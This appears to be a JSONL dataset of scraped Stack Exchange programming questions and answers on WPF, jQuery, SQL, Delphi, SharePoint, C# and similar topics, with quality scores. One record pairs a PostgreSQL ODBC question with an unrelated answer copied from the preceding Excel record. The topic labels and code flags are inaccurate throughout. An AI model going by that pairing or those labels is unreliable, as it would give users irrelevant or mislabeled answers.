{"id": "hf_105034cf6388", "question": "<p>My scenario is:</p>\n\n<p>I have a WPF Window with 3 data-bound text boxes</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>SettingsUI : Window\n\n&lt;Grid Name=\"SettingsUIGrid1\"&gt;\n    &lt;TextBox Text=\"{Binding val1}\" ....\n    &lt;TextBox Text=\"{Binding val2}\" ....\n    &lt;TextBox Text=\"{Binding val3}\" ....\n&lt;/Grid&gt;\n</code></pre>\n\n<p>In the constructor I do this:</p>\n\n<pre><code>SettingsUIGrid1.DataContext = coll[0]; // collection first value\n</code></pre>\n\n<p>When the Cancel button is clicked, I close my window:</p>\n\n<pre><code>private void btnCancel_Click(object sender, RoutedEventArgs e) {\nClose();\n}\n</code></pre>\n\n<p>When I click the Show button, is shows values from the DB in text boxes, if user changes a text box value, and reloads the window the new value is displayed not the old one.  Can someone suggest what to do to reload the values again and clear the in memory object?</p>\n", "question_body": "", "answer": "I would suggest putting some code into your cancel button click event to check whether any of the data has been changed from what was initially loaded as I am assuming that if they don't click cancel the other button would be save/ok meaning that the data would be committed to the database.\nWhat is coll?\nif it is a DataTable then you could use this:\n```\n```\nprivate static bool DataRowReallyChanged(DataRow row)\n    {\n        if (row == null)\n        {\n            return false;\n        }\n\n        if (!row.HasVersion(DataRowVersion.Current) || (row.RowState == DataRowState.Unchanged))\n        {\n            return false;\n        }\n\n        foreach (DataColumn c in row.Table.Columns)\n        {\n            if (row[c, DataRowVersion.Current].ToString() != row[c, DataRowVersion.Original].ToString())\n            {\n                return true;\n            }\n        }\n\n        return false;\n    }\n```\n```\nthen simply add a call into the cancel button event like:\n```\n```\nif (DataRowReallyChanged((DataRow)SettingsUIGrid1.DataContext))\n{\n     ((DataRow)SettingsUIGrid1.DataContext).RejectChanges();\n}\n```\n```\nI hope this helps. If you are not using a DataTable then let me know what you are using and ill see if i can help further.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.576152"}
{"id": "hf_06c997f6bcd4", "question": "<p>I have a form with a DIV, 3 INPUTS, each INPUT sits within a LABEL element. I would like to change the background image of the DIV element when focusing on each INPUT.</p>\n\n<p>I can't move back up the DOM to fix this with CSS, so could someone suggest a few lines of jQuery please?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "```\n```\n$('input').focus(function(){\n    $(this).parent().parent().addClass('highlight');\n}).blur(function(){\n     $(this).parent().parent().removeClass('highlight');\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.599017"}
{"id": "hf_467f80609aac", "question": "<p>How can I return to the start of a line and overwrite what has already been output on the console? The following does not appear to work:</p>\n\n<pre><code>System.out.print(mystuff+'\\r');\n</code></pre>\n", "question_body": "", "answer": "If you just want to write a new line to the console, you should use the println() method:\n```\n```\nSystem.out.println(mystuff);\n```\n```\nHowever, this will not delete what is already on the line. Actually, since System.out is a PrintStream, which is a type of OutputStream, that is basically hard to do, although you may find terminal-specific ways to do it.\nYou might have better luck using a Java implementation of a curses library, such as\nJavaCurses\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.644047"}
{"id": "hf_fac05d3ddbb7", "question": "<p>I would like to know if there is any easy way to print multiple emails(about 200) so that they continue on as opposed to printing one per page. I have tried with thunderbird and evolution and this does not seem possible. Would concatenating the individual mail files work or are there other unix utilities that could do this? WOuld sed or awk be suited for this?</p>\n", "question_body": "", "answer": "Why don't you put all the data from the mails in one text file and print that one.\nThis could be done by something like:\n```\n```\ncat *.eml > file.txt\n```\n```\nOr print it directly with\n```\n```\ncat *.eml | lpr\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.705104"}
{"id": "hf_2ac3af3305af", "question": "<p>I need to purchase SQL Server 2008 Standard edition, because it's features fit what I need. On the features page, it says it can handle 32,767 user connections, but how does that connect with CALs?</p>\n\n<p>What are CALs and how can they affect a project?</p>\n", "question_body": "", "answer": "A CAL is a client access license.\nSQL Server 2008 has 3 licensing models (explained\nhere\n):\nProcessor Licensing Model\nServer Plus Device CALs Licensing Model\nServer Plus User CALs Licensing Model\nYou try and select the cheapest model that meets your requirements.\nFrom this\npage\n:\nQ: What is the difference between device client access licenses (CALs) and user CALs?\nA. A device CAL allows any number of users to gain access to licensed server software from a particular device. A user CAL lets a particular user gain access to licensed server software from any number of devices. In other words, a user CAL covers a particular user's access to the server software from work computers and laptops, as well as from home computers, handheld computers, Internet kiosks, and other devices. A device CAL covers access by multiple users to server software from a single, shared device.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.727859"}
{"id": "hf_162e444822c2", "question": "<p>I am trying to accomplish the following in MySQL (see <code>pseudo</code> code)</p>\n\n<pre><code>SELECT DISTINCT gid\nFROM `gd`\nWHERE COUNT(*) &gt; 10\nORDER BY lastupdated DESC\n</code></pre>\n\n<p>Is there a way to do this without using a (SELECT...) in the WHERE clause because that would seem like a waste of resources.</p>\n", "question_body": "", "answer": "```\n```\nSELECT COUNT(*)\nFROM `gd`\nGROUP BY gid\nHAVING COUNT(gid) > 10\nORDER BY lastupdated DESC;\n```\n```\nEDIT (if you just want the gids):\n```\n```\nSELECT MIN(gid)\nFROM `gd`\nGROUP BY gid\nHAVING COUNT(gid) > 10\nORDER BY lastupdated DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.751220"}
{"id": "hf_0b4cdc27b105", "question": "<p>There has been a lot of sentiment to include a <code>nameof</code> operator in C#. As an example of how this operator would work, <code>nameof(Customer.Name)</code> would return the string <code>\"Name\"</code>.</p>\n\n<p>I have a domain object. And I have to bind it. And I need names of properties as strings then. And I want them to be type-safe.</p>\n\n<p>I remember coming across a workaround in .NET 3.5 which provided the functionality of <code>nameof</code> and involved lambda expressions. However, I have not been able to locate this workaround. Can anyone provide that workaround to me?</p>\n\n<p>I am also interested in a way to implement the functionality of <code>nameof</code> in .NET 2.0 if that is possible.</p>\n", "question_body": "", "answer": "The workaround is to use an expression tree, and to take that expression tree apart to find the relevant\n```\nMemberInfo\n```\n. There's slightly more detail and comment in\nthis note\n(although not the code to pull out the member - that's in another SO question somewhere, I believe).\nUnfortunately as expression trees don't exist in .NET 2.0, there's really no equivalent.\nOne solution to avoid typos is to have a set of accessors which fetch the relevant\n```\nPropertyInfo\n```\nfor a particular property, and unit test them. That would be the only place which had the string in it. This would avoid duplication and make refactoring easier, but it's a bit draconian.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.774300"}
{"id": "hf_fb4233809c36", "question": "<p>I'm wondering if there's some kind of criteria that can be used to determine where a script or file should go.</p>\n", "question_body": "", "answer": "If you don't mind the possibility that anyone might be able to see the contents then put it inside the web path. Otherwise keep it outside.\nInside:\nanything publicly available - images, javascript, css, static content. You'll be putting less strain on the server and will automatically be taking advantage of whatever caching and compression services it has.\nOutside:\nAnything private. Script files, with password and other sensitive details, might be vulnerable if a server failure results in them being served as text instead of being parsed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.808884"}
{"id": "hf_26b27fb7fcc1", "question": "<p>Currently, I am splitting all my tests by package (projects). So if I have 12 projects, I will create 1 more project for Unit Test with 12 classes that will test all my package. </p>\n\n<p>Do you do the same way or do you have 1 testing class by class? How do you organize all your test?</p>\n", "question_body": "", "answer": "We have it organized like this (C++):\n```\n```\npackage/Class.cpp\npackage/Class.hpp\npackage/test/ClassUnitTest.cpp\npackage/test/ClassIntegrationTest.cpp\ntest/unit-test/main.cpp\ntest/integration-test/main.cpp\ntest/data\ntest/tmp\n```\n```\nWhere\nunit-test\nand\nintegration-test\nare just the test runners,\ntest/data\nholds data files that are used by the integration tests and\ntest/tmp\nholds temporary files created by the same tests and is cleared for each test suite.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.832239"}
{"id": "hf_4fb6cfb754aa", "question": "<p>Am I right to think that there is no way to set the selected value in the C# class SelectList after it is created?\nIsn't that a bit silly?</p>\n", "question_body": "", "answer": "You mean client-side, in the browser?\n```\n```\nvar select = document.getElementById('mySelect');\nselect.options[newIndex].selected = true;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.866731"}
{"id": "hf_42c5e2c02e57", "question": "<p>I need to check whether the user executing the script has administrative privileges on the machine.</p>\n\n<p>I have specified the user executing the script because the script could have been executed with a user other than the logged on using something similar to \"Runas\".</p>\n\n<p>@Javier: Both solutions work in a PC with an English version of Windows installed but not if the installed is in different language. This is because the Administrators group doesn't exist, the name is different for instance in Spanish. I need the solution to work in all configurations. </p>\n", "question_body": "", "answer": "You can use script if you want to see if the logged on user is an administrator\n```\n```\nSet objNetwork = CreateObject(\"Wscript.Network\")\nstrComputer = objNetwork.ComputerName\nstrUser = objNetwork.UserName\n\nisAdministrator = false\n\nSet objGroup = GetObject(\"WinNT://\" & strComputer & \"/Administrators\")\nFor Each objUser in objGroup.Members\n    If objUser.Name = strUser Then\n        isAdministrator = true        \n    End If\nNext\n\nIf isAdministrator Then\n    Wscript.Echo strUser & \" is a local administrator.\"\nElse\n    Wscript.Echo strUser & \" is not a local administrator.\"\nEnd If\n```\n```\nI am not sure how to handle it when the script is run with \"Runas\" I am afraid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.890357"}
{"id": "hf_bc2581d84ccd", "question": "<p>There seem to be so many color wheel, color picker, and color matcher web apps out there, where you give one color and the they'll find a couple of other colors that will create a harmonic layout when being used in combination. However most of them focus on background colors only and any text printed on each background color (if text is printed at all in the preview) is either black or white.</p>\n\n<p>My problem is different. I know the background color I want to use for a text area. What I need help with is choosing a couple of colors (the more, the merrier) I can use as font colors on this background. Most important is that the color will make sure the font is readable (contrast not being too low, also maybe not being too high to avoid that eyes are stressed) and of course that the combination of foreground and background just looks good.</p>\n\n<p>Anyone being aware of such an application? I'd prefer a web application to anything I have to download. Thanks.</p>\n", "question_body": "", "answer": "This is an interesting question, but I don't think this is actually possible.  Whether or not two colors \"fit\" as background and foreground colors is dependent upon display technology and physiological characteristics of human vision, but most importantly on upon personal tastes shaped by experience.  A quick run through MySpace shows pretty clearly that not all human beings perceive colors in the same way.  I don't think this is a problem that can be solved algorithmically, although there may be a huge database somewhere of acceptable matching colors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.925134"}
{"id": "hf_8d097bf5ffd7", "question": "<p>I have the following table in MySQL (version 5):</p>\n\n<pre><code>id     int(10)       UNSIGNED             No    auto_increment              \nyear   varchar(4)    latin1_swedish_ci    No             \ntitle  varchar(250)  latin1_swedish_ci    Yes   NULL         \nbody   text          latin1_swedish_ci    Yes   NULL\n</code></pre>\n\n<p>And I want the db to auto add the current year on insert, I've tried the following SQL statement:</p>\n\n<pre><code>ALTER TABLE `tips` CHANGE `year` `year` VARCHAR(4) NOT NULL DEFAULT year(now())\n</code></pre>\n\n<p>But it gives the following error:</p>\n\n<pre><code>1067 - Invalid default value for 'year'\n</code></pre>\n\n<p>What can I do to get this functionality? Thanks in advance!</p>\n", "question_body": "", "answer": "The following should work:\n```\n```\nALTER TABLE tips MODIFY COLUMN year YEAR(4) NOT NULL DEFAULT CURRENT_TIMESTAMP\n```\n```\nPlease see\nYear Data Type\nfor further information.\nSo, I tested this once I got access and it doesn't work. As another poster pointed out CURRENT_TIMESTAMP only works on the\nTIMESTAMP\ndata type.\nIs there a specific problem with storing a complete time stamp and then only using the year in your code? If not, then I would recommend storing this value as a timestamp.\nYour other option would be to create a\ntrigger\n:\n```\n```\nCREATE TRIGGER example_trigger AFTER INSERT ON tips\nFOR EACH ROW BEGIN\nUPDATE tips SET year = YEAR(NOW()) WHERE tip_id = NEW.tip_id\nEND;\n```\n```\nOtherwise, assign this value to the INSERT statement from within your code.\nThe best solution in your case will depend entirely on the circumstances surrounding your particular application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.029172"}
{"id": "hf_da9a05d5dc7f", "question": "<p>I have an abstract base class called Shape from which both Circle and Rectangle are derived, but when I execute the following code in VS 2005 I get the error Debug assertion failed. At the same time I have not overloaded == operator in any class</p>\n\n<p>Expression:Vector iterator not dereferencable, what is the reason for this.</p>\n\n<pre><code>  vector&lt;Shape*&gt; s1;\n  s1.push_back(new Circle(point(1,2),3));\n  s1.push_back(new Circle(point(4,3),5));\n  s1.push_back(new Rectangle(point(1,1),4,5));\n\n  vector&lt;Shape*&gt; s2(s1);\n  reverse(s1.begin(),s1.end());\n\n  (*find(s1.begin(),s1.end(),new Circle(point(1,2),3)))-&gt;move(point(10,20));\n</code></pre>\n", "question_body": "", "answer": "Simple :\nfind fails since your newly created Circle can't be found in the vector with comparing Shape *\na failed find returns the end iterator which is not deferencable as caught by a Debug assertion\nFor it to work like you want, you do need to compare Shape, not Shape*\nAs pointed out in other answers,\nboost::ptr_vector\nis an easy way to achieve this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.064274"}
{"id": "hf_b1e3de0ab8d7", "question": "<p>I heard that Visual Studio came with an Image Library, but I can't find it anywhere. Does anyone know where it is?</p>\n", "question_body": "", "answer": "In VS 2008 they're under:\nPROGRAMFILES\\Microsoft Visual Studio 9.0\\Common7\\VS2008ImageLibrary\\1033", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.098954"}
{"id": "hf_953ba9e7f0b5", "question": "<p>I am looking for an alternative to my old \"Font Navigator\" that I... borrowed... from the CorelDraw Suite :-)</p>\n\n<p>Googling for it, took me to hundreds of pages with old software, so I hope to find a quick idea from here (waiting for FontExplorer X from Linotype).</p>\n\n<p>Which Font Explorer for Windows do you currently use? \nMy \"requisites\" are:</p>\n\n<ul>\n<li><p>browse and preview installed/uninstalled fonts</p></li>\n<li><p>install/uninstall fonts</p></li>\n<li><p>free :-)</p></li>\n</ul>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "This\nthread\nreferences the main font explorers like\nBitstream Font Navigator\n,\nTypograf\n(both already mentioned) and\nOT1 Font Manager\n... but they are not free.\nThe only one which\nmight\nbe free would be\nFont Explorer X\n, which has a\nbeta version for PC\n, but that version is quite \"dangerous\"\n“It IS very glitchy. Not totally useless but you have to get over the fact that it totally messes up any directory of fonts. So make a seperate folder for the fonts you want to import into the program as it will delete those fonts from the original folder. Also make a backup copy of your windows fonts folder just in case it decides to remove the fonts from there too.”", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.122092"}
{"id": "hf_a9935121e004", "question": "<p>I am working on an ASP.NET MVC application where I need to export data to an excel spreadsheet.  Previously, in webforms apps, I used some code I found to render a GridView as an excel-compatible file.  This was quite handy. I was wondering what the quickest/most effective method would be to do this in MVC. Thanks.</p>\n", "question_body": "", "answer": "One simple option would be to create a view to render an XML-version of an Excel File. You could either use the new Office 2007 version, or the older 2003 version. We chose the 2003 version so that more people could use it, but that's up to you, of course.\nXML 2003 ref on MSDN\nXML 2007 ref on MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.156662"}
{"id": "hf_c98dddcebb8d", "question": "<p>I'm writing an MFC App to automatically configure Postgresql with ODBC for use by another app. The idea being that the user runs the app and it automatically creates the database and the tables within it. My problem is that when I set up the File DSN it seems to require the name of the database it will access. This appears in the DSN file as ..</p>\n\n<pre><code>DATABASE=mydb\n</code></pre>\n\n<p>However I haven't created mydb yet so can't connect to Postgresql ! I have tried editing the DSN file so this line reads ..</p>\n\n<pre><code>DATABASE=\n</code></pre>\n\n<p>and removing it totally but then I get an error and can't connect.</p>\n\n<p>Is it possible for a DSN file to allow access to any database ? If so how do I do this ?</p>\n\n<p>Thanks</p>\n\n<p>Ian</p>\n", "question_body": "", "answer": "One simple option would be to create a view to render an XML-version of an Excel File. You could either use the new Office 2007 version, or the older 2003 version. We chose the 2003 version so that more people could use it, but that's up to you, of course.\nXML 2003 ref on MSDN\nXML 2007 ref on MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.179608"}
{"id": "hf_f178c7528120", "question": "<p>Inspired by the question <a href=\"https://stackoverflow.com/questions/301546/whats-the-simplest-way-to-call-http-get-url-using-delphi\">What’s the simplest way to call Http GET url using Delphi?</a>\nI really would like to see a sample of how to use POST. Preferably to receive XML from the call.</p>\n\n<p>Added: What about including an image or other file in the post data?</p>\n", "question_body": "", "answer": "Using Indy.  Put your parameters in a StringList (name=value) and simply call Post with the URL and StringList.\n```\n```\nfunction PostExample: string;\nvar\n  lHTTP: TIdHTTP;\n  lParamList: TStringList;\nbegin\n  lParamList := TStringList.Create;\n  lParamList.Add('id=1');\n\n  lHTTP := TIdHTTP.Create;\n  try\n    Result := lHTTP.Post('http://blahblahblah...', lParamList);\n  finally\n    lHTTP.Free;\n    lParamList.Free;\n  end;\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.202612"}
{"id": "hf_eddfd6269a53", "question": "<p>I try to write to a large file, but it seems like it does not work for files larger than 2GB.\nI have tried with boost::iostreams::file_sink. Is this just a limit with the boost stream? Is there some other way I can write a large file on Win64 and win32?</p>\n", "question_body": "", "answer": "This depends on:\nThe file system which you're using. Old file systems like FAT allow only files up to 2GB. Use NTFS.\nYour library must be compiled to allow large files (64bit seek offsets). If they use 32bit ints to seek in file (check the arguments and results of the calls \"seek\" and \"tell\"), you can only ever access 2GB (2^31bits, the 32th is the sign +/-)\nThis might also help:\nhttp://www.boost.org/doc/libs/1_37_0/libs/iostreams/doc/faq.html#offsets", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.237133"}
{"id": "hf_0497904d34b1", "question": "<p>What's the best way to move a document from one doc library to another? I don't care about version history or preserving CreatedBy and ModifiedBy metadata...</p>\n\n<pre><code>SPList lib1 = (SPDocumentLibrary) web.Lists[\"lib1\"];\nSPList lib2 = (SPDocumentLibrary) web.Lists[\"lib2\"];\nSPItem item1 = lib1.Items[0];\n//insert code to move item1 to lib2\n</code></pre>\n\n<p>I'm currently looking at <code>SPItem.MoveTo()</code> but wonder if anyone already solved this problem and has some advice.<br>\nThanks in advance.</p>\n", "question_body": "", "answer": "Got it:\n```\n```\nSPList lib1 = (SPDocumentLibrary) web.Lists[\"lib1\"];\nSPList lib2 = (SPDocumentLibrary) web.Lists[\"lib2\"];\nSPListItem item1 = lib1.Items[0];\nbyte[] fileBytes = item1.File.OpenBinary();\nstring destUrl = lib2.RootFolder.Url + \"/\" + item1.File.Name;\nSPFile destFile = lib2.RootFolder.Files.Add(destUrl, fileBytes, true /*overwrite*/);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.260168"}
{"id": "hf_f9c4fd4877af", "question": "<p>I have created a Registry class in .NET which is a singleton. Apparently this singleton behaves as if it were kept in the Cache (the singleton object is available to each session). Is this a good practice of should I add this Singleton to the Cache?\n+ do I need to wacth out for concurrency problems with the GetInstance() function?</p>\n\n<pre><code>namespace Edu3.Business.Registry\n{\n    public class ExamDTORegistry\n    {\n        private static ExamDTORegistry instance;\n        private Dictionary&lt;int, ExamDTO&gt; examDTODictionary;\n\n        private ExamDTORegistry()\n        {\n            examDTODictionary = new Dictionary&lt;int, ExamDTO&gt;();\n        }\n\n        public static ExamDTORegistry GetInstance()\n        {\n            if (instance == null)\n            {\n                instance = new ExamDTORegistry();\n            }\n            return instance;\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Well, your GetInstance method certainly isn't thread-safe - if two threads call it at the same time, they may well end up with two different instances. I have a\npage on implementing the singleton pattern\n, if that helps.\nDoes your code\nrely\non it being a singleton? Bear in mind that if the AppDomain is reloaded, you'll get a new instance anyway.\nI don't really see there being much benefit in putting the object in the cache though. Is there anything you're thinking of in particular?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.322575"}
{"id": "hf_d2c1ad45bf31", "question": "<p>does anybody know any resources that I can refer to?</p>\n", "question_body": "", "answer": "I believe you are referring to the\nJQuery FadeOut effect\n(since\nStackoverflow uses JQuery\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.345827"}
{"id": "hf_869cba842a24", "question": "<p>In VB.NET, what is the difference between <code>And</code> and <code>AndAlso</code>? Which should I use?</p>\n", "question_body": "", "answer": "The\n```\nAnd\n```\noperator evaluates both sides, where\n```\nAndAlso\n```\nevaluates the right side if and only if the left side is true.\nAn example:\n```\n```\nIf mystring IsNot Nothing And mystring.Contains(\"Foo\") Then\n  ' bla bla\nEnd If\n```\n```\nThe above throws an exception if\n```\nmystring = Nothing\n```\n```\n```\nIf mystring IsNot Nothing AndAlso mystring.Contains(\"Foo\") Then\n  ' bla bla\nEnd If\n```\n```\nThis one does not throw an exception.\nSo if you come from the C# world, you should use\n```\nAndAlso\n```\nlike you would use\n```\n&&\n```\n.\nMore info here:\nhttp://www.panopticoncentral.net/2003/08/18/the-ballad-of-andalso-and-orelse/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.369160"}
{"id": "hf_5d283fcfec12", "question": "<p>I want to allow only users with a 3G phone to use a particular GPS function.  How do I run a check on the device before allowing that feature to be used?</p>\n", "question_body": "", "answer": "The following code with allow you to determine the exact device that is in use but I would first consider the fact that a 3G device may not actually be able to obtain a GPS lock as the process of doing so is quite slow and requires a more or less clear view of the sky.\nFor an iPhone 3G the result of this method will be iPhone1,2\n```\n```\n- (NSString *)deviceModel\n{\n    NSString *deviceModel = nil;\n    char buffer[32];\n    size_t length = sizeof(buffer);\n    if (sysctlbyname(\"hw.machine\", &buffer, &length, NULL, 0) == 0) {\n        deviceModel = [[NSString alloc] initWithCString:buffer encoding:NSASCIIStringEncoding];\n    }\n    return [deviceModel autorelease];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.392814"}
{"id": "hf_1392efb60a4d", "question": "<p>I have a generic method with this (dummy) code (yes I'm aware IList has predicates, but my code is not using IList but some other collection, anyway this is irrelevant for the question...)</p>\n<pre class=\"lang-cs prettyprint-override\"><code>    static T FindThing&lt;T&gt;(IList collection, int id) where T : IThing, new()\n    {\n        foreach (T thing in collection)\n        {\n            if (thing.Id == id)\n                return thing;\n        }\n        return null;  // ERROR: Cannot convert null to type parameter 'T' because it could be a value type. Consider using 'default(T)' instead.\n    }\n</code></pre>\n<p>This gives me a build error</p>\n<blockquote>\n<p>&quot;Cannot convert null to type parameter\n'T' because it could be a value type.\nConsider using 'default(T)' instead.&quot;</p>\n</blockquote>\n<p>Can I avoid this error?</p>\n", "question_body": "", "answer": "```\n```\nreturn default(T);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.500343"}
{"id": "hf_5117622fd2c2", "question": "<p>With jQuery, how do I find out which key was pressed when I bind to the keypress event?</p>\n\n<pre><code>$('#searchbox input').bind('keypress', function(e) {});\n</code></pre>\n\n<p>I want to trigger a submit when <kbd>ENTER</kbd> is pressed.</p>\n\n<p><strong>[Update]</strong></p>\n\n<p>Even though I found the (or better: one) answer myself, there seems to be some room for variation ;)</p>\n\n<p>Is there a difference between <code>keyCode</code> and <code>which</code> - especially if I'm just looking for <kbd>ENTER</kbd>, which will never be a unicode key?</p>\n\n<p>Do some browsers provide one property and others provide the other one? </p>\n", "question_body": "", "answer": "Okay, I was blind:\n```\n```\ne.which\n```\n```\nwill contain the ASCII code of the key.\nSee\nhttps://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/which", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.534709"}
{"id": "hf_78d0bf40b779", "question": "<p>I'm writing a java app using eclipse which references a few external jars and requires some config files to be user accessable.</p>\n\n<ol>\n<li><p>What is the best way to package it up for deployment?</p></li>\n<li><p>My understanding is that you cant put Jars inside another jar file, is this correct?</p></li>\n<li><p>Can I keep my config files out of the jars and still reference them in the code? Or should the path to the config file be a command line argument?</p></li>\n<li><p>Are there any third party plugins for eclipse to help make this easier? I'm using an ant build file at the moment but I'm not sure I know what I'm doing.</p></li>\n<li><p>Is there an equivelent of the deployment projects in Visual studio, that will figure out everything you need and just make an installer? I've used install4j before, and it was powerful if no where near as automated as  .Net deployment projects.</p></li>\n</ol>\n\n<p>Cheers.</p>\n", "question_body": "", "answer": "Ant. It's not the best thing in the world, but it's standard, it's apache, and it works.\nThere's some good examples on the web how to make a simple build.xml for any, and it's got some features like the 'war' task that knows how to put all the basic stuff (classes, web.xml etc) in the jar file for you.\nYou can also tell it to pick up other config files and jars and it will happily do it.\nIt's also really smart about what to compile. You give it a directory, and it finds all the java files and builds them only if their classfile is out of date, so you get some of the traditional make functionality for free without much effort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.557672"}
